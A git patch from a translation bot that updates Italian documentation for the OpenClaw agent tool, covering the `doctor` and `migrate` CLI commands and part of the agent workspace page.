From 0fe59627b05ca7baab1dbc78c8ee1b8473fbdd59 Mon Sep 17 00:00:00 2001 From: "openclaw-docs-i18n[bot]" Date: Thu, 30 Apr 2026 20:11:07 +0000 Subject: [PATCH] chore(i18n): refresh it translations --- docs/it/cli/doctor.md | 43 +- docs/it/cli/migrate.md | 120 ++- docs/it/concepts/agent-workspace.md | 159 ++-- docs/it/gateway/security/index.md | 1135 +++++++++++---------------- docs/it/plugins/codex-harness.md | 683 +++++++--------- docs/it/tools/skills.md | 301 ++++--- 6 files changed, 1066 insertions(+), 1375 deletions(-) diff --git a/docs/it/cli/doctor.md b/docs/it/cli/doctor.md index b170d1ac5..2a00a58b0 100644 --- a/docs/it/cli/doctor.md +++ b/docs/it/cli/doctor.md @@ -1,14 +1,14 @@ --- read_when: - - Hai problemi di connettività/autenticazione e vuoi correzioni guidate - - Hai aggiornato e vuoi una verifica rapida + - Hai problemi di connettività/autenticazione e vuoi soluzioni guidate + - Hai aggiornato e vuoi un controllo rapido summary: Riferimento CLI per `openclaw doctor` (controlli di integrità + riparazioni guidate) title: Diagnostica x-i18n: - generated_at: "2026-04-30T08:43:01Z" + generated_at: "2026-04-30T20:05:25Z" model: gpt-5.5 provider: openai - source_hash: 9985c84d23861dd9468a4659ee00519573fe6d540c436548da0a68067dbabc4c + source_hash: 265d82a10da086cf89687886e491be018a720b70021e0b26bd8f39b25a907e14 source_path: cli/doctor.md workflow: 16 --- @@ -34,7 +34,7 @@ openclaw doctor --generate-gateway-token ## Opzioni -- `--no-workspace-suggestions`: disabilita i suggerimenti di memoria/ricerca dell'area di lavoro +- `--no-workspace-suggestions`: disattiva i suggerimenti di memoria/ricerca dell'area di lavoro - `--yes`: accetta i valori predefiniti senza chiedere conferma - `--repair`: applica le riparazioni consigliate senza chiedere conferma - `--fix`: alias di `--repair` @@ -45,28 +45,29 @@ openclaw doctor --generate-gateway-token Note: -- I prompt interattivi (come le correzioni keychain/OAuth) vengono eseguiti solo quando stdin è una TTY e `--non-interactive` **non** è impostato. Le esecuzioni headless (Cron, Telegram, nessun terminale) salteranno i prompt. -- Prestazioni: le esecuzioni non interattive di `doctor` saltano il caricamento anticipato dei Plugin, così i controlli di integrità headless restano veloci. Le sessioni interattive caricano comunque completamente i Plugin quando un controllo richiede il loro contributo. +- I prompt interattivi (come le correzioni keychain/OAuth) vengono eseguiti solo quando stdin è un TTY e `--non-interactive` **non** è impostato. Le esecuzioni senza terminale (cron, Telegram, nessun terminale) salteranno i prompt. +- Prestazioni: le esecuzioni non interattive di `doctor` saltano il caricamento anticipato dei Plugin, così i controlli di integrità senza terminale restano rapidi. Le sessioni interattive caricano comunque completamente i Plugin quando un controllo richiede il loro contributo. - `--fix` (alias di `--repair`) scrive un backup in `~/.openclaw/openclaw.json.bak` ed elimina le chiavi di configurazione sconosciute, elencando ogni rimozione. -- I controlli di integrità dello stato ora rilevano file di trascrizione orfani nella directory delle sessioni. La loro archiviazione come `.deleted.` richiede una conferma interattiva; `--fix`, `--yes` e le esecuzioni headless li lasciano al loro posto. -- Doctor analizza anche `~/.openclaw/cron/jobs.json` (o `cron.store`) per forme legacy dei job Cron e può riscriverle sul posto prima che lo scheduler debba normalizzarle automaticamente a runtime. -- Doctor ripara le dipendenze runtime mancanti dei Plugin inclusi senza scrivere nelle installazioni globali pacchettizzate. Per installazioni npm di proprietà root o unità systemd irrigidite, imposta `OPENCLAW_PLUGIN_STAGE_DIR` su una directory scrivibile come `/var/lib/openclaw/plugin-runtime-deps`; può anche essere un elenco di percorsi come `/opt/openclaw/plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps`, dove le root precedenti sono layer di lookup in sola lettura e la root finale è il target della riparazione. -- Doctor ripara la configurazione obsoleta dei Plugin rimuovendo gli id Plugin mancanti da `plugins.allow`/`plugins.entries`, oltre alla configurazione di canale sospesa corrispondente, ai target Heartbeat e agli override dei modelli di canale quando il rilevamento dei Plugin è sano. -- Doctor mette in quarantena la configurazione Plugin non valida disabilitando la voce `plugins.entries.` interessata e rimuovendo il suo payload `config` non valido. L'avvio del Gateway salta già solo quel Plugin non valido, così altri Plugin e canali possono continuare a funzionare. -- Imposta `OPENCLAW_SERVICE_REPAIR_POLICY=external` quando un altro supervisore possiede il ciclo di vita del Gateway. Doctor segnala comunque l'integrità di Gateway/servizio e applica riparazioni non relative al servizio, ma salta installazione/avvio/riavvio/bootstrap del servizio e la pulizia dei servizi legacy. -- Su Linux, doctor ignora le unità systemd inattive aggiuntive simili al Gateway e non riscrive i metadati di comando/entrypoint per un servizio Gateway systemd in esecuzione durante la riparazione. Arresta prima il servizio o usa `openclaw gateway install --force` quando vuoi intenzionalmente sostituire il launcher attivo. +- I controlli di integrità dello stato ora rilevano i file di trascrizione orfani nella directory delle sessioni. Archiviarli come `.deleted.` richiede una conferma interattiva; `--fix`, `--yes` e le esecuzioni senza terminale li lasciano al loro posto. +- Doctor analizza anche `~/.openclaw/cron/jobs.json` (o `cron.store`) per individuare forme legacy dei job cron e può riscriverle sul posto prima che lo scheduler debba normalizzarle automaticamente a runtime. +- Doctor ripara le dipendenze runtime mancanti dei Plugin inclusi senza scrivere nelle installazioni globali impacchettate. Per installazioni npm di proprietà di root o unità systemd irrigidite, imposta `OPENCLAW_PLUGIN_STAGE_DIR` su una directory scrivibile come `/var/lib/openclaw/plugin-runtime-deps`; può anche essere una lista di percorsi come `/opt/openclaw/plugin-runtime-deps:/var/lib/openclaw/plugin-runtime-deps`, dove le root precedenti sono livelli di consultazione in sola lettura e la root finale è il target della riparazione. +- Doctor ripara la configurazione obsoleta dei Plugin rimuovendo gli id dei Plugin mancanti da `plugins.allow`/`plugins.entries`, oltre alla configurazione dei canali pendente corrispondente, ai target Heartbeat e agli override dei modelli dei canali quando la scoperta dei Plugin è integra. +- Doctor mette in quarantena la configurazione non valida dei Plugin disabilitando la voce `plugins.entries.` interessata e rimuovendo il relativo payload `config` non valido. L'avvio del Gateway salta già solo quel Plugin difettoso, così gli altri Plugin e canali possono continuare a funzionare. +- Imposta `OPENCLAW_SERVICE_REPAIR_POLICY=external` quando un altro supervisore possiede il ciclo di vita del Gateway. Doctor segnala comunque lo stato del Gateway/servizio e applica le riparazioni non di servizio, ma salta installazione/avvio/riavvio/bootstrap del servizio e la pulizia dei servizi legacy. +- Su Linux, doctor ignora le unità systemd inattive aggiuntive simili al Gateway e non riscrive i metadati di comando/entrypoint per un servizio Gateway systemd in esecuzione durante la riparazione. Arresta prima il servizio oppure usa `openclaw gateway install --force` quando vuoi intenzionalmente sostituire il launcher attivo. - Doctor migra automaticamente la configurazione piatta legacy di Talk (`talk.voiceId`, `talk.modelId` e simili) in `talk.provider` + `talk.providers.`. - Le esecuzioni ripetute di `doctor --fix` non segnalano/applicano più la normalizzazione di Talk quando l'unica differenza è l'ordine delle chiavi dell'oggetto. -- Doctor include un controllo di prontezza della ricerca in memoria e può consigliare `openclaw configure --section model` quando mancano le credenziali di embedding. -- Doctor avvisa quando non è configurato alcun proprietario dei comandi. Il proprietario dei comandi è l'account operatore umano autorizzato a eseguire comandi riservati al proprietario e ad approvare azioni pericolose. L'abbinamento via DM permette solo a qualcuno di parlare con il bot; se hai approvato un mittente prima che esistesse il bootstrap del primo proprietario, imposta esplicitamente `commands.ownerAllowFrom`. +- Doctor include un controllo di prontezza della ricerca in memoria e può consigliare `openclaw configure --section model` quando mancano le credenziali per gli embedding. +- Doctor avvisa quando non è configurato alcun proprietario dei comandi. Il proprietario dei comandi è l'account dell'operatore umano autorizzato a eseguire comandi riservati al proprietario e ad approvare azioni pericolose. L'abbinamento via DM consente solo a qualcuno di parlare con il bot; se hai approvato un mittente prima che esistesse il bootstrap del primo proprietario, imposta esplicitamente `commands.ownerAllowFrom`. +- Doctor avvisa quando sono configurati agenti in modalità Codex ed esistono asset personali della CLI Codex nella home Codex dell'operatore. Gli avvii locali del server app Codex usano home isolate per agente, quindi usa `openclaw migrate codex --dry-run` per inventariare gli asset che dovrebbero essere promossi deliberatamente. - Se la modalità sandbox è abilitata ma Docker non è disponibile, doctor segnala un avviso ad alto segnale con rimedio (`install Docker` o `openclaw config set agents.defaults.sandbox.mode off`). -- Se `gateway.auth.token`/`gateway.auth.password` sono gestiti da SecretRef e non disponibili nel percorso del comando corrente, doctor segnala un avviso di sola lettura e non scrive credenziali fallback in chiaro. -- Se l'ispezione SecretRef del canale fallisce in un percorso di correzione, doctor continua e segnala un avviso invece di uscire in anticipo. -- La risoluzione automatica dello username Telegram `allowFrom` (`doctor --fix`) richiede un token Telegram risolvibile nel percorso del comando corrente. Se l'ispezione del token non è disponibile, doctor segnala un avviso e salta la risoluzione automatica per quel passaggio. +- Se `gateway.auth.token`/`gateway.auth.password` sono gestiti da SecretRef e non disponibili nel percorso del comando corrente, doctor segnala un avviso in sola lettura e non scrive credenziali di fallback in chiaro. +- Se l'ispezione SecretRef dei canali non riesce in un percorso di correzione, doctor continua e segnala un avviso invece di uscire in anticipo. +- La risoluzione automatica degli username Telegram `allowFrom` (`doctor --fix`) richiede un token Telegram risolvibile nel percorso del comando corrente. Se l'ispezione del token non è disponibile, doctor segnala un avviso e salta la risoluzione automatica per quel passaggio. ## macOS: override env di `launchctl` -Se in precedenza hai eseguito `launchctl setenv OPENCLAW_GATEWAY_TOKEN ...` (o `...PASSWORD`), quel valore sovrascrive il tuo file di configurazione e può causare errori persistenti di “non autorizzato”. +Se in precedenza hai eseguito `launchctl setenv OPENCLAW_GATEWAY_TOKEN ...` (o `...PASSWORD`), quel valore sovrascrive il tuo file di configurazione e può causare errori “non autorizzato” persistenti. ```bash launchctl getenv OPENCLAW_GATEWAY_TOKEN @@ -79,4 +80,4 @@ launchctl unsetenv OPENCLAW_GATEWAY_PASSWORD ## Correlati - [Riferimento CLI](/it/cli) -- [Gateway doctor](/it/gateway/doctor) +- [Doctor del Gateway](/it/gateway/doctor) diff --git a/docs/it/cli/migrate.md b/docs/it/cli/migrate.md index 43674ef4a..5ad172995 100644 --- a/docs/it/cli/migrate.md +++ b/docs/it/cli/migrate.md @@ -1,24 +1,24 @@ --- read_when: - Vuoi migrare da Hermes o da un altro sistema di agenti a OpenClaw - - Stai aggiungendo un fornitore di migrazione di proprietà del plugin + - Stai aggiungendo un provider di migrazione gestito dal Plugin summary: Riferimento CLI per `openclaw migrate` (importa lo stato da un altro sistema di agenti) title: Migrare x-i18n: - generated_at: "2026-04-30T08:44:15Z" + generated_at: "2026-04-30T20:05:26Z" model: gpt-5.5 provider: openai - source_hash: d3db14c16b8f9dcbf86a4f12558cf4e8555aa9a255637034fb804148996a225e + source_hash: ffcd9e874bdaa0a5195e712d4fccd7b3d53034cb362c7f7462e9c7df72477b1a source_path: cli/migrate.md workflow: 16 --- # `openclaw migrate` -Importa lo stato da un altro sistema di agenti tramite un provider di migrazione gestito da un plugin. I provider inclusi coprono [Claude](/it/install/migrating-claude) e [Hermes](/it/install/migrating-hermes); i plugin di terze parti possono registrare provider aggiuntivi. +Importa lo stato da un altro sistema agent tramite un provider di migrazione posseduto da un Plugin. I provider inclusi coprono lo stato della CLI Codex, [Claude](/it/install/migrating-claude) e [Hermes](/it/install/migrating-hermes); i plugin di terze parti possono registrare provider aggiuntivi. -Per le procedure guidate rivolte agli utenti, vedi [Migrazione da Claude](/it/install/migrating-claude) e [Migrazione da Hermes](/it/install/migrating-hermes). L'[hub di migrazione](/it/install/migrating) elenca tutti i percorsi. +Per guide dettagliate rivolte agli utenti, consulta [Migrazione da Claude](/it/install/migrating-claude) e [Migrazione da Hermes](/it/install/migrating-hermes). L'[hub di migrazione](/it/install/migrating) elenca tutti i percorsi. ## Comandi @@ -26,8 +26,12 @@ Per le procedure guidate rivolte agli utenti, vedi [Migrazione da Claude](/it/in ```bash openclaw migrate list openclaw migrate claude --dry-run +openclaw migrate codex --dry-run +openclaw migrate codex --skill gog-vault77-google-workspace openclaw migrate hermes --dry-run openclaw migrate hermes +openclaw migrate apply codex --yes --skill gog-vault77-google-workspace +openclaw migrate apply codex --yes openclaw migrate apply claude --yes openclaw migrate apply hermes --yes openclaw migrate apply hermes --include-secrets --yes @@ -37,22 +41,25 @@ openclaw onboard --import-from hermes --import-source ~/.hermes ``` - Nome di un provider di migrazione registrato, per esempio `hermes`. Esegui `openclaw migrate list` per vedere i provider installati. + Nome di un provider di migrazione registrato, ad esempio `hermes`. Esegui `openclaw migrate list` per vedere i provider installati. - Costruisce il piano ed esce senza modificare lo stato. + Genera il piano ed esce senza modificare lo stato. - Sovrascrive la directory dello stato di origine. Hermes usa `~/.hermes` come valore predefinito. + Sovrascrive la directory dello stato sorgente. Hermes usa `~/.hermes` per impostazione predefinita. Importa le credenziali supportate. Disattivato per impostazione predefinita. - Consente ad apply di sostituire le destinazioni esistenti quando il piano segnala conflitti. + Consente ad apply di sostituire i target esistenti quando il piano segnala conflitti. - Salta la richiesta di conferma. Obbligatorio in modalità non interattiva. + Salta la richiesta di conferma. Richiesto in modalità non interattiva. + + + Seleziona un elemento di copia skill per nome della skill o id dell'elemento. Ripeti il flag per migrare più skills. Se omesso, le migrazioni Codex interattive mostrano un selettore a caselle di controllo e le migrazioni non interattive mantengono tutte le skills pianificate. Salta il backup prima dell'applicazione. Richiede `--force` quando esiste uno stato OpenClaw locale. @@ -66,20 +73,20 @@ openclaw onboard --import-from hermes --import-source ~/.hermes ## Modello di sicurezza -`openclaw migrate` funziona prima in anteprima. +`openclaw migrate` dà priorità all'anteprima. - - Il provider restituisce un piano dettagliato prima che venga modificato qualcosa, inclusi conflitti, elementi saltati ed elementi sensibili. I piani JSON, l'output di apply e i report di migrazione oscurano le chiavi annidate che sembrano segreti, come chiavi API, token, intestazioni di autorizzazione, cookie e password. + + Il provider restituisce un piano dettagliato prima che cambi qualsiasi cosa, inclusi conflitti, elementi saltati ed elementi sensibili. I piani JSON, l'output di apply e i report di migrazione oscurano le chiavi annidate che sembrano segreti, come chiavi API, token, header di autorizzazione, cookie e password. - `openclaw migrate apply ` mostra l'anteprima del piano e richiede conferma prima di modificare lo stato, a meno che `--yes` non sia impostato. In modalità non interattiva, apply richiede `--yes`. + `openclaw migrate apply ` mostra l'anteprima del piano e chiede conferma prima di modificare lo stato, salvo che sia impostato `--yes`. In modalità non interattiva, apply richiede `--yes`. Apply crea e verifica un backup OpenClaw prima di applicare la migrazione. Se non esiste ancora uno stato OpenClaw locale, il passaggio di backup viene saltato e la migrazione può continuare. Per saltare un backup quando lo stato esiste, passa sia `--no-backup` sia `--force`. - Apply rifiuta di continuare quando il piano presenta conflitti. Esamina il piano, quindi riesegui con `--overwrite` se la sostituzione delle destinazioni esistenti è intenzionale. I provider possono comunque scrivere backup a livello di elemento per i file sovrascritti nella directory del report di migrazione. + Apply rifiuta di continuare quando il piano contiene conflitti. Esamina il piano, quindi riesegui con `--overwrite` se la sostituzione dei target esistenti è intenzionale. I provider possono comunque scrivere backup a livello di elemento per i file sovrascritti nella directory del report di migrazione. I segreti non vengono mai importati per impostazione predefinita. Usa `--include-secrets` per importare le credenziali supportate. @@ -88,23 +95,60 @@ openclaw onboard --import-from hermes --import-source ~/.hermes ## Provider Claude -Il provider Claude incluso rileva per impostazione predefinita lo stato di Claude Code in `~/.claude`. Usa `--from ` per importare una specifica home di Claude Code o una root di progetto. +Il provider Claude incluso rileva per impostazione predefinita lo stato di Claude Code in `~/.claude`. Usa `--from ` per importare una home Claude Code o una radice di progetto specifica. -Per una procedura guidata rivolta agli utenti, vedi [Migrazione da Claude](/it/install/migrating-claude). +Per una guida dettagliata rivolta agli utenti, consulta [Migrazione da Claude](/it/install/migrating-claude). ### Cosa importa Claude -- `CLAUDE.md` di progetto e `.claude/CLAUDE.md` nello spazio di lavoro dell'agente OpenClaw. -- `~/.claude/CLAUDE.md` dell'utente aggiunto a `USER.md` dello spazio di lavoro. +- `CLAUDE.md` di progetto e `.claude/CLAUDE.md` nello spazio di lavoro dell'agent OpenClaw. +- `~/.claude/CLAUDE.md` utente aggiunto a `USER.md` dello spazio di lavoro. - Definizioni dei server MCP da `.mcp.json` di progetto, `~/.claude.json` di Claude Code e `claude_desktop_config.json` di Claude Desktop. -- Directory delle Skills di Claude che includono `SKILL.md`. -- File Markdown dei comandi Claude convertiti in Skills OpenClaw solo con invocazione manuale. +- Directory delle skill Claude che includono `SKILL.md`. +- File Markdown dei comandi Claude convertiti in skills OpenClaw solo con invocazione manuale. -### Stato archiviato e da revisionare manualmente +### Stato di archivio e revisione manuale -Hook, autorizzazioni, impostazioni predefinite dell'ambiente, memoria locale, regole con ambito di percorso, sottoagenti, cache, piani e cronologia di progetto di Claude vengono conservati nel report di migrazione o segnalati come elementi da revisionare manualmente. OpenClaw non esegue hook, non copia allowlist ampie e non importa automaticamente lo stato delle credenziali OAuth/Desktop. +Hook Claude, permessi, impostazioni predefinite dell'ambiente, memoria locale, regole con ambito su percorso, subagent, cache, piani e cronologia del progetto vengono conservati nel report di migrazione o segnalati come elementi da revisionare manualmente. OpenClaw non esegue hook, non copia allowlist ampie e non importa automaticamente lo stato delle credenziali OAuth/Desktop. + +## Provider Codex + +Il provider Codex incluso rileva per impostazione predefinita lo stato della CLI Codex in `~/.codex`, oppure in +`CODEX_HOME` quando tale variabile d'ambiente è impostata. Usa `--from ` per +inventariare una home Codex specifica. + +Usa questo provider quando passi all'harness Codex di OpenClaw e vuoi +promuovere deliberatamente risorse personali utili della CLI Codex. Gli avvii del server app Codex locale +usano directory `CODEX_HOME` e `HOME` per agent, quindi per impostazione predefinita non leggono +il tuo stato personale della CLI Codex. + +Eseguire `openclaw migrate codex` in un terminale interattivo mostra l'anteprima del +piano completo, poi apre un selettore a caselle di controllo per gli elementi di copia delle skill prima della conferma +finale di apply. Tutte le skills partono selezionate; deseleziona qualsiasi skill che non vuoi +copiare in questo agent. Per esecuzioni scriptate o esatte, passa `--skill ` una volta +per skill, ad esempio: + +```bash +openclaw migrate codex --dry-run --skill gog-vault77-google-workspace +openclaw migrate apply codex --yes --skill gog-vault77-google-workspace +``` + +### Cosa importa Codex + +- Directory delle skill della CLI Codex sotto `$CODEX_HOME/skills`, esclusa la cache + `.system` di Codex. +- AgentSkills personali sotto `$HOME/.agents/skills`, copiate nello spazio di lavoro dell'agent + OpenClaw corrente quando vuoi una proprietà per agent. + +### Stato Codex da revisione manuale + +I plugin nativi Codex, `config.toml` e `hooks/hooks.json` nativo non vengono +attivati automaticamente. I plugin possono esporre server MCP, app, hook o altri +comportamenti eseguibili, quindi il provider li segnala per la revisione invece di caricarli +in OpenClaw. I file di configurazione e hook vengono copiati nel report di migrazione +per revisione manuale. ## Provider Hermes @@ -115,20 +159,20 @@ Il provider Hermes incluso rileva per impostazione predefinita lo stato in `~/.h - Configurazione del modello predefinito da `config.yaml`. - Provider di modelli configurati ed endpoint personalizzati compatibili con OpenAI da `providers` e `custom_providers`. - Definizioni dei server MCP da `mcp_servers` o `mcp.servers`. -- `SOUL.md` e `AGENTS.md` nello spazio di lavoro dell'agente OpenClaw. +- `SOUL.md` e `AGENTS.md` nello spazio di lavoro dell'agent OpenClaw. - `memories/MEMORY.md` e `memories/USER.md` aggiunti ai file di memoria dello spazio di lavoro. -- Impostazioni predefinite della configurazione di memoria per la memoria su file di OpenClaw, più elementi archiviati o da revisionare manualmente per provider di memoria esterni come Honcho. +- Impostazioni predefinite della configurazione della memoria per la memoria su file OpenClaw, più elementi di archivio o revisione manuale per provider di memoria esterni come Honcho. - Skills che includono un file `SKILL.md` sotto `skills//`. -- Valori di configurazione per singola skill da `skills.config`. +- Valori di configurazione per skill da `skills.config`. - Chiavi API supportate da `.env`, solo con `--include-secrets`. ### Chiavi `.env` supportate `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `OPENROUTER_API_KEY`, `GOOGLE_API_KEY`, `GEMINI_API_KEY`, `GROQ_API_KEY`, `XAI_API_KEY`, `MISTRAL_API_KEY`, `DEEPSEEK_API_KEY`. -### Stato solo archiviato +### Stato solo archivio -Lo stato Hermes che OpenClaw non può interpretare in modo sicuro viene copiato nel report di migrazione per la revisione manuale, ma non viene caricato nella configurazione o nelle credenziali live di OpenClaw. Questo conserva lo stato opaco o non sicuro senza fingere che OpenClaw possa eseguirlo o considerarlo attendibile automaticamente: +Lo stato Hermes che OpenClaw non può interpretare in sicurezza viene copiato nel report di migrazione per la revisione manuale, ma non viene caricato nella configurazione o nelle credenziali OpenClaw attive. Questo preserva lo stato opaco o non sicuro senza fingere che OpenClaw possa eseguirlo o considerarlo attendibile automaticamente: - `plugins/` - `sessions/` @@ -144,9 +188,9 @@ Lo stato Hermes che OpenClaw non può interpretare in modo sicuro viene copiato openclaw doctor ``` -## Contratto Plugin +## Contratto del Plugin -Le origini di migrazione sono plugin. Un plugin dichiara i propri ID provider in `openclaw.plugin.json`: +Le sorgenti di migrazione sono plugin. Un plugin dichiara i suoi id provider in `openclaw.plugin.json`: ```json { @@ -156,22 +200,22 @@ Le origini di migrazione sono plugin. Un plugin dichiara i propri ID provider in } ``` -A runtime il plugin chiama `api.registerMigrationProvider(...)`. Il provider implementa `detect`, `plan` e `apply`. Core gestisce l'orchestrazione CLI, la politica di backup, i prompt, l'output JSON e il preflight dei conflitti. Core passa il piano revisionato in `apply(ctx, plan)`, e i provider possono ricostruire il piano solo quando quell'argomento è assente per compatibilità. +A runtime il plugin chiama `api.registerMigrationProvider(...)`. Il provider implementa `detect`, `plan` e `apply`. Core possiede l'orchestrazione CLI, la policy di backup, i prompt, l'output JSON e il preflight dei conflitti. Core passa il piano revisionato a `apply(ctx, plan)` e i provider possono rigenerare il piano solo quando quell'argomento è assente per compatibilità. -I plugin provider possono usare `openclaw/plugin-sdk/migration` per la costruzione degli elementi e i conteggi di riepilogo, più `openclaw/plugin-sdk/migration-runtime` per copie di file consapevoli dei conflitti, copie nei report solo archivio, wrapper config-runtime memorizzati nella cache e report di migrazione. +I plugin provider possono usare `openclaw/plugin-sdk/migration` per la costruzione degli elementi e i conteggi di riepilogo, più `openclaw/plugin-sdk/migration-runtime` per copie di file consapevoli dei conflitti, copie di report solo archivio, wrapper config-runtime memorizzati in cache e report di migrazione. ## Integrazione con l'onboarding -L'onboarding può offrire la migrazione quando un provider rileva un'origine nota. Sia `openclaw onboard --flow import` sia `openclaw setup --wizard --import-from hermes` usano lo stesso provider di migrazione del plugin e mostrano comunque un'anteprima prima dell'applicazione. +L'onboarding può offrire la migrazione quando un provider rileva una sorgente nota. Sia `openclaw onboard --flow import` sia `openclaw setup --wizard --import-from hermes` usano lo stesso provider di migrazione del plugin e mostrano comunque un'anteprima prima dell'applicazione. -Le importazioni durante l'onboarding richiedono una configurazione OpenClaw nuova. Reimposta prima configurazione, credenziali, sessioni e spazio di lavoro se hai già uno stato locale. Le importazioni backup-più-sovrascrittura o merge sono abilitate da feature gate per le configurazioni esistenti. +Le importazioni durante l'onboarding richiedono una configurazione OpenClaw nuova. Reimposta prima configurazione, credenziali, sessioni e spazio di lavoro se hai già uno stato locale. Le importazioni con backup più sovrascrittura o unione sono protette da feature gate per le configurazioni esistenti. ## Correlati -- [Migrazione da Hermes](/it/install/migrating-hermes): procedura guidata rivolta agli utenti. -- [Migrazione da Claude](/it/install/migrating-claude): procedura guidata rivolta agli utenti. +- [Migrazione da Hermes](/it/install/migrating-hermes): guida dettagliata rivolta agli utenti. +- [Migrazione da Claude](/it/install/migrating-claude): guida dettagliata rivolta agli utenti. - [Migrazione](/it/install/migrating): sposta OpenClaw su una nuova macchina. -- [Doctor](/it/gateway/doctor): controllo dello stato dopo l'applicazione di una migrazione. -- [Plugin](/it/tools/plugin): installazione e registrazione dei plugin. +- [Doctor](/it/gateway/doctor): controllo di integrità dopo l'applicazione di una migrazione. +- [Plugins](/it/tools/plugin): installazione e registrazione dei plugin. diff --git a/docs/it/concepts/agent-workspace.md b/docs/it/concepts/agent-workspace.md index ae771728a..83aadbab8 100644 --- a/docs/it/concepts/agent-workspace.md +++ b/docs/it/concepts/agent-workspace.md @@ -1,34 +1,34 @@ --- read_when: - - Devi spiegare il workspace dell’agente o il suo layout dei file - - Vuoi eseguire il backup o migrare un workspace dell’agente + - Devi spiegare il workspace dell'agente o la sua struttura dei file + - Vuoi creare una copia di sicurezza o migrare uno spazio di lavoro di un agente sidebarTitle: Agent workspace -summary: 'Workspace dell’agente: posizione, layout e strategia di backup' -title: Workspace dell’agente +summary: 'Area di lavoro dell''agente: posizione, struttura e strategia di backup' +title: Area di lavoro dell'agente x-i18n: - generated_at: "2026-04-26T11:26:42Z" - model: gpt-5.4 + generated_at: "2026-04-30T20:05:27Z" + model: gpt-5.5 provider: openai - source_hash: 35d59d1f0dec05db30f9166a43bfa519d7299b08d093bbeb905d8f83e5cd022a + source_hash: b1ccf74cbec3ff20f4c1c1ce52f099a7ca3365b2536b0aad6ff1d3a5fafcca0a source_path: concepts/agent-workspace.md - workflow: 15 + workflow: 16 --- -Il workspace è la casa dell’agente. È l’unica directory di lavoro usata per gli strumenti file e per il contesto del workspace. Tienilo privato e trattalo come memoria. +L'area di lavoro è la casa dell'agente. È l'unica directory di lavoro usata per gli strumenti sui file e per il contesto dell'area di lavoro. Mantienila privata e trattala come memoria. -Questo è separato da `~/.openclaw/`, che memorizza config, credenziali e sessioni. +È separata da `~/.openclaw/`, che archivia configurazione, credenziali e sessioni. -Il workspace è la **cwd predefinita**, non una sandbox rigida. Gli strumenti risolvono i percorsi relativi rispetto al workspace, ma i percorsi assoluti possono comunque raggiungere altre parti dell’host a meno che la sandboxing non sia abilitata. Se ti serve isolamento, usa [`agents.defaults.sandbox`](/it/gateway/sandboxing) (e/o una config sandbox per agente). +L'area di lavoro è la **cwd predefinita**, non una sandbox rigida. Gli strumenti risolvono i percorsi relativi rispetto all'area di lavoro, ma i percorsi assoluti possono comunque raggiungere altre posizioni sull'host, a meno che il sandboxing non sia abilitato. Se hai bisogno di isolamento, usa [`agents.defaults.sandbox`](/it/gateway/sandboxing) (e/o la configurazione sandbox per agente). -Quando la sandboxing è abilitata e `workspaceAccess` non è `"rw"`, gli strumenti operano dentro un workspace sandbox sotto `~/.openclaw/sandboxes`, non nel tuo workspace host. +Quando il sandboxing è abilitato e `workspaceAccess` non è `"rw"`, gli strumenti operano dentro un'area di lavoro sandbox in `~/.openclaw/sandboxes`, non nella tua area di lavoro host. ## Posizione predefinita - Predefinita: `~/.openclaw/workspace` -- Se `OPENCLAW_PROFILE` è impostata e non è `"default"`, il valore predefinito diventa `~/.openclaw/workspace-`. -- Override in `~/.openclaw/openclaw.json`: +- Se `OPENCLAW_PROFILE` è impostato e non è `"default"`, il valore predefinito diventa `~/.openclaw/workspace-`. +- Sovrascrivi in `~/.openclaw/openclaw.json`: ```json5 { @@ -40,96 +40,97 @@ Quando la sandboxing è abilitata e `workspaceAccess` non è `"rw"`, gli strumen } ``` -`openclaw onboard`, `openclaw configure` o `openclaw setup` creeranno il workspace e inizializzeranno i file bootstrap se mancanti. +`openclaw onboard`, `openclaw configure` o `openclaw setup` creerà l'area di lavoro e inizializzerà i file di bootstrap se mancano. -Le copie di inizializzazione della sandbox accettano solo file regolari interni al workspace; alias symlink/hardlink che risolvono all’esterno del workspace di origine vengono ignorati. +Le copie seed della sandbox accettano solo normali file interni all'area di lavoro; gli alias symlink/hardlink che si risolvono fuori dall'area di lavoro sorgente vengono ignorati. -Se gestisci già tu i file del workspace, puoi disabilitare la creazione dei file bootstrap: +Se gestisci già tu i file dell'area di lavoro, puoi disabilitare la creazione dei file di bootstrap: ```json5 { agents: { defaults: { skipBootstrap: true } } } ``` -## Cartelle extra del workspace +## Cartelle aggiuntive dell'area di lavoro -Le installazioni meno recenti potrebbero aver creato `~/openclaw`. Mantenere più directory workspace può causare deriva confusa di auth o stato, perché solo un workspace è attivo alla volta. +Installazioni più vecchie potrebbero aver creato `~/openclaw`. Mantenere più directory dell'area di lavoro può causare confusione nell'autenticazione o deriva dello stato, perché solo un'area di lavoro è attiva alla volta. -**Raccomandazione:** mantieni un solo workspace attivo. Se non usi più le cartelle extra, archiviale o spostale nel Cestino (ad esempio `trash ~/openclaw`). Se mantieni intenzionalmente più workspace, assicurati che `agents.defaults.workspace` punti a quello attivo. +**Consiglio:** mantieni una sola area di lavoro attiva. Se non usi più le cartelle aggiuntive, archiviale o spostale nel Cestino (per esempio `trash ~/openclaw`). Se mantieni intenzionalmente più aree di lavoro, assicurati che `agents.defaults.workspace` punti a quella attiva. -`openclaw doctor` avvisa quando rileva directory workspace extra. +`openclaw doctor` avvisa quando rileva directory dell'area di lavoro aggiuntive. -## Mappa dei file del workspace +## Mappa dei file dell'area di lavoro -Questi sono i file standard che OpenClaw si aspetta all’interno del workspace: +Questi sono i file standard che OpenClaw si aspetta dentro l'area di lavoro: - - Istruzioni operative per l’agente e su come dovrebbe usare la memoria. Caricato all’inizio di ogni sessione. Buon posto per regole, priorità e dettagli su “come comportarsi”. + + Istruzioni operative per l'agente e su come dovrebbe usare la memoria. Caricate all'inizio di ogni sessione. Un buon posto per regole, priorità e dettagli su "come comportarsi". - - Persona, tono e confini. Caricato a ogni sessione. Guida: [guida alla personalità di SOUL.md](/it/concepts/soul). + + Persona, tono e limiti. Caricato a ogni sessione. Guida: [guida alla personalità SOUL.md](/it/concepts/soul). - - Chi è l’utente e come rivolgersi a lui. Caricato a ogni sessione. + + Chi è l'utente e come rivolgersi a lui. Caricato a ogni sessione. - - Nome, vibe ed emoji dell’agente. Creato/aggiornato durante il rituale bootstrap. + + Nome, stile ed emoji dell'agente. Creato/aggiornato durante il rituale di bootstrap. - - Note sui tuoi strumenti e convenzioni locali. Non controlla la disponibilità degli strumenti; è solo una guida. + + Note sui tuoi strumenti locali e sulle convenzioni. Non controlla la disponibilità degli strumenti; è solo una guida. - - 